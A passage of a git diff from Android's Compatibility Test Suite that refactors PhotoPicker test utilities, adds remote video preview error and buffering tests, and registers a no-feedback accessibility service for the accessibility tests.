+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ assertWithMessage("Expected number of items returned to be: " + itemCount)
+ .that(clipData.getItemCount()).isEqualTo(itemCount);
+ for (int i = 0; i < itemCount; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
+ assertRedactedReadOnlyAccess(uri);
+ assertMimeType(uri, mimeType);
+ }
+ }
+
private void assertMuteButtonState(UiObject muteButton, boolean isMuted)
throws UiObjectNotFoundException {
// We use content description to assert the state of the mute button, there is no other way
@@ -634,26 +681,27 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertPlayerControlsAutoHide(playPauseButton, muteButton);
// Click on StyledPlayerView to make the video controls visible
- clickAndWait(findPlayerView());
+ clickAndWait(mDevice, findPlayerView());
// PlayPause button is now pause button, click the button to pause the video.
- clickAndWait(playPauseButton);
+ clickAndWait(mDevice, playPauseButton);
// Wait for 1s and check that play button is not auto hidden
assertPlayerControlsDontAutoHide(playPauseButton, muteButton);
// PlayPause button is now play button, click the button to play the video.
- clickAndWait(playPauseButton);
+ clickAndWait(mDevice, playPauseButton);
// Check that pause button auto-hides in 1s.
assertPlayerControlsAutoHide(playPauseButton, muteButton);
}
private void launchPreviewMultipleWithVideos(int videoCount) throws Exception {
- createVideos(videoCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ mUriList.addAll(createVideosAndGetUris(videoCount, mContext.getUserId()));
+
+ Intent intent = new Intent(mAction);
intent.setType("video/*");
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ addMultipleSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
final List<UiObject> itemList = findItemList(videoCount);
final int itemCount = itemList.size();
@@ -661,10 +709,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertThat(itemCount).isEqualTo(videoCount);
for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
+ clickAndWait(mDevice, itemList.get(i));
}
- clickAndWait(findViewSelectedButton());
+ clickAndWait(mDevice, findViewSelectedButton());
// Wait for playback to start. This is needed in some devices where playback
// buffering -> ready state takes around 10s.
@@ -687,7 +735,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
// Wait for 1s or Play/Pause button to hide
playPauseButton.waitUntilGone(1000);
// Click on StyledPlayerView to make the video controls visible
- clickAndWait(playerView);
+ clickAndWait(mDevice, playerView);
assertPlayerControlsVisible(playPauseButton, muteButton);
}
@@ -762,15 +810,41 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
REGEX_PACKAGE_NAME + ":id/preview_video_image"));
}
- private void clickAndWait(UiObject uiObject) throws Exception {
- uiObject.click();
- mDevice.waitForIdle();
- }
-
private void swipeLeftAndWait() {
final int width = mDevice.getDisplayWidth();
final int height = mDevice.getDisplayHeight();
mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 10);
mDevice.waitForIdle();
}
+
+ private static List<String> getTestParameters() {
+ return Arrays.asList(
+ MediaStore.ACTION_PICK_IMAGES,
+ Intent.ACTION_GET_CONTENT
+ );
+ }
+
+ private void addMultipleSelectionFlag(Intent intent) {
+ switch (intent.getAction()) {
+ case MediaStore.ACTION_PICK_IMAGES:
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX,
+ MediaStore.getPickImagesMaxLimit());
+ break;
+ case Intent.ACTION_GET_CONTENT:
+ intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
+ break;
+ default:
+ // do nothing
+ }
+ }
+
+ private void launchPhotoPickerForIntent(Intent intent) throws Exception {
+ // GET_CONTENT needs to have setType
+ if (Intent.ACTION_GET_CONTENT.equals(intent.getAction()) && intent.getType() == null) {
+ intent.setType("*/*");
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"image/*", "video/*"});
+ }
+
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index b6eb8f31642..db60d7ddd8c 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -21,12 +21,18 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvi
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_BUFFERING;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_PERMANENT_FAILURE;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE;
import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_READY;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
@@ -219,6 +225,41 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
// test the remote preview APIs
}
+ @Test
+ public void testVideoPreviewProgressIndicator() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays circular progress indicator when playback state is
+ // PLAYBACK_STATE_BUFFERING.
+ verifyProgressIndicatorShowsWhenBuffering(/* surfaceId */ 0);
+ }
+
+ @Test
+ public void testVideoPreviewPermanentError() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays Snackbar to notify the user of an error when playback state is
+ // PLAYBACK_STATE_ERROR_PERMANENT_FAILURE.
+ verifySnackbarShowsWhenPermanentError(/* surfaceId */ 0);
+ }
+
+ @Test
+ public void testVideoPreviewRetriableError() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ final int surfaceId = 0;
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays an AlertDialog to notify the user of an error when playback state
+ // is PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE.
+ verifyAlertDialogShowsWhenRetriableError(surfaceId);
+
+ // Remote Preview calls onMediaPlay when user clicks the retry button in the retriable error
+ // AlertDialog.
+ verifyAlertDialogRetry(surfaceId);
+ }
+
/**
* Verify surface controller interactions on swiping from one video to another.
* Note: This test assumes that the first video is in playing state.
@@ -269,6 +310,54 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId));
}
+ private void verifyProgressIndicatorShowsWhenBuffering(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_BUFFERING);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+ assertWithMessage("Expected circular progress indicator to be visible when state is "
+ + "buffering").that(findPreviewProgressIndicator().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ }
+
+ private void verifySnackbarShowsWhenPermanentError(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_PERMANENT_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+ assertWithMessage("Expected snackbar to be visible when state is permanent error")
+ .that(findPreviewErrorSnackbar().waitForExists(SHORT_TIMEOUT)).isTrue();
+ }
+
+ private void verifyAlertDialogShowsWhenRetriableError(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+
+ assertWithMessage("Expected alert dialog with title to be visible when state is retriable "
+ + "error").that(findPreviewErrorAlertDialogTitle().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ assertWithMessage("Expected alert dialog with text body to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogBody().exists()).isTrue();
+ assertWithMessage("Expected alert dialog with retry button to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogRetryButton().exists())
+ .isTrue();
+ assertWithMessage("Expected alert dialog with cancel button to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogCancelButton().exists())
+ .isTrue();
+ }
+
+ private void verifyAlertDialogRetry(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+
+ assertWithMessage("Expected alert dialog with retry button to be visible when state is "
+ + "retriable error")
+ .that(findPreviewErrorAlertDialogRetryButton().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ clickAndWait(mDevice, findPreviewErrorAlertDialogRetryButton());
+ mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId));
+ }
+
private void initCloudProviderWithImage(List<Pair<String, String>> mediaPairs)
throws Exception {
for (Pair<String, String> pair : mediaPairs) {
@@ -348,4 +437,29 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
// Wait for CloudMediaProvider binder calls to finish.
MediaStore.waitForIdle(mContext.getContentResolver());
}
+
+ private static UiObject findPreviewProgressIndicator() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_progress_indicator"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogTitle() {
+ return new UiObject(new UiSelector().text("Trouble playing video"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogBody() {
+ return new UiObject(new UiSelector().text("Check your internet connection and try again"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogRetryButton() {
+ return new UiObject(new UiSelector().textMatches("R(etry|ETRY)"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogCancelButton() {
+ return new UiObject(new UiSelector().textMatches("C(ancel|ANCEL)"));
+ }
+
+ private static UiObject findPreviewErrorSnackbar() {
+ return new UiObject(new UiSelector().text("Can't play video"));
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java
new file mode 100644
index 00000000000..0ccdd3f280c
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import android.Manifest;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
+import android.content.pm.ResolveInfo;
+import android.provider.MediaStore;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Supplier;
+
+public class GetContentActivityAliasUtils {
+
+ private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(5);
+ private static final long POLLING_SLEEP_MILLIS = 100;
+
+ private static ComponentName sComponentName = new ComponentName(
+ getMediaProviderPackageName(),
+ "com.android.providers.media.photopicker.PhotoPickerGetContentActivity");
+
+ public static int enableAndGetOldState() throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ final PackageManager packageManager = inst.getContext().getPackageManager();
+ if (isComponentEnabledSetAsExpected(packageManager,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED)) {
+ return PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+ }
+
+ final int currentState = packageManager.getComponentEnabledSetting(sComponentName);
+
+ updateComponentEnabledSetting(packageManager,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED);
+
+ return currentState;
+ }
+
+ public static void restoreState(int oldState) throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ updateComponentEnabledSetting(inst.getContext().getPackageManager(), oldState);
+ }
+
+ /**
+ * Clears the package data.
+ */
+ public static void clearPackageData(String packageName) throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand("pm clear " + packageName);
+
+ // We should ideally be listening to an effective measure to know if package data was
+ // cleared, like listening to a broadcasts or checking a value. But that information is
+ // very package private and not available.
+ Thread.sleep(500);
+ }
+
+ public static String getDocumentsUiPackageName() {
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+ intent.setType("*/*");
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
+ return ri.activityInfo.packageName;
+ }
+
+ private static void updateComponentEnabledSetting(PackageManager packageManager,
+ int state) throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ inst.getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE);
+ try {
+ packageManager.setComponentEnabledSetting(sComponentName, state,
+ PackageManager.DONT_KILL_APP);
+ } finally {
+ inst.getUiAutomation().dropShellPermissionIdentity();
+ }
+ waitForComponentToBeInExpectedState(packageManager, state);
+ }
+
+ private static void waitForComponentToBeInExpectedState(PackageManager packageManager,
+ int state) throws Exception {
+ pollForCondition(() -> isComponentEnabledSetAsExpected(packageManager, state),
+ "Timed out while waiting for component to be enabled");
+ }
+
+ private static void pollForCondition(Supplier<Boolean> condition, String errorMessage)
+ throws Exception {
+ for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
+ if (condition.get()) {
+ return;
+ }
+ Thread.sleep(POLLING_SLEEP_MILLIS);
+ }
+ throw new TimeoutException(errorMessage);
+ }
+
+ private static boolean isComponentEnabledSetAsExpected(PackageManager packageManager,
+ int state) {
+ return packageManager.getComponentEnabledSetting(sComponentName) == state;
+ }
+
+ private static String getMediaProviderPackageName() {
+ final Instrumentation inst = androidx.test.InstrumentationRegistry.getInstrumentation();
+ final PackageManager packageManager = inst.getContext().getPackageManager();
+ final ProviderInfo providerInfo = packageManager.resolveContentProvider(
+ MediaStore.AUTHORITY, PackageManager.MATCH_ALL);
+ return providerInfo.packageName;
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
index 9eb7d597253..6d86cee66b9 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
@@ -80,6 +80,12 @@ public class PhotoPickerAssertionsUtils {
assertThat(resultMimeType).isEqualTo(expectedMimeType);
}
+ public static void assertContainsMimeType(Uri uri, String[] expectedMimeTypes) {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final String resultMimeType = context.getContentResolver().getType(uri);
+ assertThat(Arrays.asList(expectedMimeTypes).contains(resultMimeType)).isTrue();
+ }
+
public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception {
assertThat(uri).isNotNull();
final String[] projection = new String[]{ PickerMediaColumns.MIME_TYPE };
@@ -120,11 +126,7 @@ public class PhotoPickerAssertionsUtils {
.that(xmp.contains("13166/7763")).isTrue();
}
- // assert no write access
- try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) {
- fail("Does not grant write access to uri " + uri.toString());
- } catch (SecurityException | FileNotFoundException expected) {
- }
+ assertNoWriteAccess(uri, resolver);
}
private static void assertImageRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
@@ -153,12 +155,7 @@ public class PhotoPickerAssertionsUtils {
assertImageExifRedacted(is);
}
- // Assert no write access
- try (ParcelFileDescriptor pfd =
- ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE)) {
- fail("Does not grant write access to file " + file);
- } catch (IOException e) {
- }
+ assertNoWriteAccess(uri, resolver);
}
}
@@ -179,4 +176,19 @@ public class PhotoPickerAssertionsUtils {
assertWithMessage("Redacted non-location XMP")
.that(xmp.contains("LensDefaults")).isTrue();
}
+
+ public static void assertReadOnlyAccess(Uri uri, ContentResolver resolver) throws Exception {
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
+ assertThat(pfd).isNotNull();
+ }
+
+ assertNoWriteAccess(uri, resolver);
+ }
+
+ private static void assertNoWriteAccess(Uri uri, ContentResolver resolver) throws Exception {
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) {
+ fail("Does not grant write access to uri " + uri.toString());
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 3705ddd8fb1..2732df71762 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -26,6 +26,7 @@ import android.photopicker.cts.R;
import android.provider.MediaStore;
import android.provider.cts.ProviderTestUtils;
import android.provider.cts.media.MediaStoreUtils;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -34,6 +35,7 @@ import com.android.compatibility.common.util.ShellUtils;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.ArrayList;
import java.util.List;
/**
@@ -42,24 +44,55 @@ import java.util.List;
public class PhotoPickerFilesUtils {
public static final String DISPLAY_NAME_PREFIX = "ctsPhotoPicker";
- public static void createImages(int count, int userId, List<Uri> uriList)
+ public static List<Uri> createImagesAndGetUris(int count, int userId)
throws Exception {
- createImages(count, userId, uriList, false);
+ return createImagesAndGetUris(count, userId, /* isFavorite */ false);
}
- public static void createImages(int count, int userId, List<Uri> uriList, boolean isFavorite)
+ public static List<Uri> createImagesAndGetUris(int count, int userId, boolean isFavorite)
throws Exception {
+ List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(count, userId,
+ isFavorite);
+
+ List<Uri> uriList = new ArrayList<>();
+ for (Pair<Uri, String> createdImageData: createdImagesData) {
+ uriList.add(createdImageData.first);
+ }
+
+ return uriList;
+ }
+
+ /**
+ * Create multiple images according to the given parameters and returns the uris and filenames
+ * of the images created.
+ *
+ * @param count number of images to create
+ * @param userId user id to create images in
+ *
+ * @return list of data (uri and filename pair) about the images created
+ */
+ public static List<Pair<Uri, String>> createImagesAndGetUriAndPath(int count, int userId,
+ boolean isFavorite) throws Exception {
+ List<Pair<Uri, String>> createdImagesData = new ArrayList<>();
+
for (int i = 0; i < count; i++) {
- final Uri uri = createImage(userId, isFavorite);
- uriList.add(uri);
- clearMediaOwner(uri, userId);
+ Pair<Uri, String> createdImageData = createImage(userId, isFavorite);
+ createdImagesData.add(createdImageData);
+ clearMediaOwner(createdImageData.first, userId);
}
// Wait for Picker db sync to complete
MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
+
+ return createdImagesData;
}
- public static void createDNGVideos(int count, int userId, List<Uri> uriList)
- throws Exception {
+ public static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception {
+ return getPermissionAndStageMedia(R.raw.lg_g4_iso_800_jpg,
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite);
+ }
+
+ public static List<Uri> createDNGVideosAndGetUris(int count, int userId) throws Exception {
+ List<Uri> uriList = new ArrayList<>();
for (int i = 0; i < count; i++) {
final Uri uri = createDNGVideo(userId);
uriList.add(uri);
@@ -67,10 +100,12 @@ public class PhotoPickerFilesUtils {
}
// Wait for Picker db sync to complete
MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
+
+ return uriList;
}
- public static void createVideos(int count, int userId, List<Uri> uriList)
- throws Exception {
+ public static List<Uri> createVideosAndGetUris(int count, int userId) throws Exception {
+ List<Uri> uriList = new ArrayList<>();
for (int i = 0; i < count; i++) {
final Uri uri = createVideo(userId);
uriList.add(uri);
@@ -78,6 +113,8 @@ public class PhotoPickerFilesUtils {
}
// Wait for Picker db sync to complete
MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
+
+ return uriList;
}
public static void deleteMedia(Uri uri, Context context) throws Exception {
@@ -95,26 +132,19 @@ public class PhotoPickerFilesUtils {
}
private static Uri createDNGVideo(int userId) throws Exception {
- final Uri uri = stageMedia(R.raw.test_video_dng,
- MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
- return uri;
+ return getPermissionAndStageMedia(R.raw.test_video_dng,
+ MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId,
+ /* isFavorite */ false).first;
}
private static Uri createVideo(int userId) throws Exception {
- final Uri uri = stageMedia(R.raw.test_video,
- MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
- return uri;
+ return getPermissionAndStageMedia(R.raw.test_video,
+ MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId,
+ /* isFavorite */ false).first;
}
- private static Uri createImage(int userId, boolean isFavorite) throws Exception {
- final Uri uri = stageMedia(R.raw.lg_g4_iso_800_jpg,
- MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite);
- return uri;
- }
-
- private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId,
- boolean isFavorite) throws
- Exception {
+ private static Pair<Uri, String> getPermissionAndStageMedia(int resId, Uri collectionUri,
+ String mimeType, int userId, boolean isFavorite) throws Exception {
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
uiAutomation.adoptShellPermissionIdentity(
android.Manifest.permission.INTERACT_ACROSS_USERS,
@@ -130,14 +160,8 @@ public class PhotoPickerFilesUtils {
}
}
- private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws
- Exception {
- return stageMedia(resId, collectionUri, mimeType, userId, false);
- }
-
- private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context,
- boolean isFavorite)
- throws IOException {
+ private static Pair<Uri, String> stageMedia(int resId, Uri collectionUri, String mimeType,
+ Context context, boolean isFavorite) throws IOException {
final String displayName = DISPLAY_NAME_PREFIX + System.nanoTime();
final MediaStoreUtils.PendingParams params = new MediaStoreUtils.PendingParams(
collectionUri, displayName, mimeType);
@@ -149,7 +173,7 @@ public class PhotoPickerFilesUtils {
OutputStream target = session.openOutputStream()) {
FileUtils.copy(source, target);
}
- return session.publish();
+ return new Pair(session.publish(), displayName);
}
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index d20dcd6665b..8f58f3e3261 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -20,8 +20,8 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.text.format.DateUtils;
+import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
-import androidx.test.uiautomator.UiObjectNotFoundException;
import androidx.test.uiautomator.UiScrollable;
import androidx.test.uiautomator.UiSelector;
@@ -35,6 +35,7 @@ public class PhotoPickerUiUtils {
public static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
private static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
+
public static final String REGEX_PACKAGE_NAME =
"com(.google)?.android.providers.media(.module)?";
@@ -92,4 +93,22 @@ public class PhotoPickerUiUtils {
return new UiObject(new UiSelector().resourceIdMatches(
REGEX_PACKAGE_NAME + ":id/profile_button"));
}
+
+ public static void findAndClickBrowse(UiDevice uiDevice) throws Exception {
+ assertWithMessage("Timed out waiting for overflow menu to appear")
+ .that(new UiObject(new UiSelector().description("More options"))
+ .waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+
+ final UiObject overflowMenu = new UiObject(new UiSelector().description("More options"));
+ clickAndWait(uiDevice, overflowMenu);
+
+ final UiObject browseButton = new UiObject(new UiSelector().textContains("Browse"));
+ clickAndWait(uiDevice, browseButton);
+ }
+
+ public static void clickAndWait(UiDevice uiDevice, UiObject uiObject) throws Exception {
+ uiObject.click();
+ uiDevice.waitForIdle();
+ }
}
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 91ce26b6898..06b62f1c352 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -39,6 +39,7 @@ android_test {
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index bf3b1a82567..056ca59ec8a 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -60,6 +60,17 @@
android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
</service>
+ <service android:name=".NoFeedbackAccessibilityService"
+ android:label="@string/title_no_feedback_accessibility_service"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/no_feedback_accessibilityservice"/>
+ </service>
+
<service android:name=".AccessibilityButtonService"
android:label="@string/title_accessibility_button_service"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 37d30516bc0..871d5f9955a 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -26,6 +26,9 @@
<!-- String title for the vibrating accessibility service -->
<string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
+ <!-- String title for the no-feedback accessibility service -->
+ <string name="title_no_feedback_accessibility_service">No-Feedback Accessibility Service</string>
+
<!-- String title for the accessibility button service -->
<string name="title_accessibility_button_service">Accessibility Button Service</string>
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
index dce1cae6ccc..168e5845031 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,19 +13,4 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.mainlinemoduledetector"
- android:versionCode="1"
- android:versionName="1.0">
-
- <application>
- <activity android:name=".MainlineModuleDetector"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0f5afd15ef6..9c4d0b89a34 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -34,6 +34,7 @@ import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.ServiceInfo;
import android.os.Handler;
+import android.platform.test.annotations.AsbSecurityTest;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -81,6 +82,11 @@ public class AccessibilityManagerTest {
